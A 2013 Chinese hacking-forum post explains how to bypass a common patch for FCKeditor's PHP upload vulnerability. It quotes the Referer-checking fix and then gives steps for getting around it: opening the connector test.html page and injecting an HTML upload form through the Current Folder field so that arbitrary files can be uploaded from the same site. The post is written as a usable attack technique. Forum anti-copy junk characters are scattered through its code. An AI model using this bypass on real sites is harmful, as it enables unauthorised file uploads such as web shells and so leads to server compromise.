找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2207|回复: 0
打印 上一主题 下一主题

fckeditor 漏洞修复后的二次利用

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:12:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞文件:editors/fckeditor/editor/filemanager/upload/php/upload.php( ~! c1 g+ t2 m5 D+ g4 A5 w* ]( C3 \
网上给出的修复方案是
+ ^6 F, Y' S8 ^! P- u- M修复方法,删除FCK编辑器用其他的编辑器
' d" O& L( P* l, G# R& L3 M或者找到 editors/fckeditor/editor/filemanager/upload/php/upload.php 文件8 U" ?+ m9 `9 B& K; C
% ?5 f4 B( j: A+ M; U2 q
require(‘config.php’);
, U  v. x  b3 [8 J# zrequire(‘util.php’);8 e0 d4 u, ^1 D3 K) u
的下面添加以下代码—————————–. _! `) c: g4 [" E& j
//防止外部提交
7 C% U$ ]! [* t; lfunction outsidepost()- U8 l9 c) |. ?
{
+ v% g5 Q$ r# A, j# v0 Y$servername=$_SERVER['SERVER_NAME'];, O( O9 e; K$ x) H5 Z
$sub_from=@$_SERVER['HTTP_REFERER'];+ v* c3 G2 [+ P0 B' e( ^" ?
$sub_len=strlen($servername);
: i+ L+ w% b+ j8 I% O$checkfrom=substr($sub_from,7,$sub_len);
% y/ \  C/ ?3 J2 eif($checkfrom!=$servername){
. j; J/ J3 _9 x' Zecho(“you don’t outsidepost!”);
/ E4 Z3 V3 \5 `/ A4 E& d$ p% nexit;9 z/ y& W  K& g3 j2 P
}" L7 T2 g1 l7 S+ l& c0 s7 M
}
# g/ X& x  S& _# N5 s+ Houtsidepost();
/ C. N* X4 `6 j' ?- ]- M$ L0 e防止外部提交,但是没有防止内部提交,
& d/ o1 g) T" h2 J利用方法:" ?2 h, v7 N! Y2 ~' q% [
1,打开 editors/fckeditor/editor/filemanager/browser/default/connectors/test.html
6 p$ ~7 r- G$ C- p9 e5 u4 ?2,在Current Folder 框输入# n+ F2 |5 L! ~$ c4 w6 y6 B5 s" c( ]
<form id=frmUpload enctype=multipart/form-data action=http://www.url.com/editors/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media method=post>Upload a new file:<br><input type=file name=NewFile size=50><br><input id=btnUpload type=submit value=Upload></form>
3 c; O" J1 @* B7 D0 D0 D然后 Get Folders and Files 就会出现一个上传表单,即可上传任意文件类型。- g3 {+ r. J" R+ J" G' _4 V
PS:如果 editors与上传的文件夹设置了403 500 404 权限 利用就无效了。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表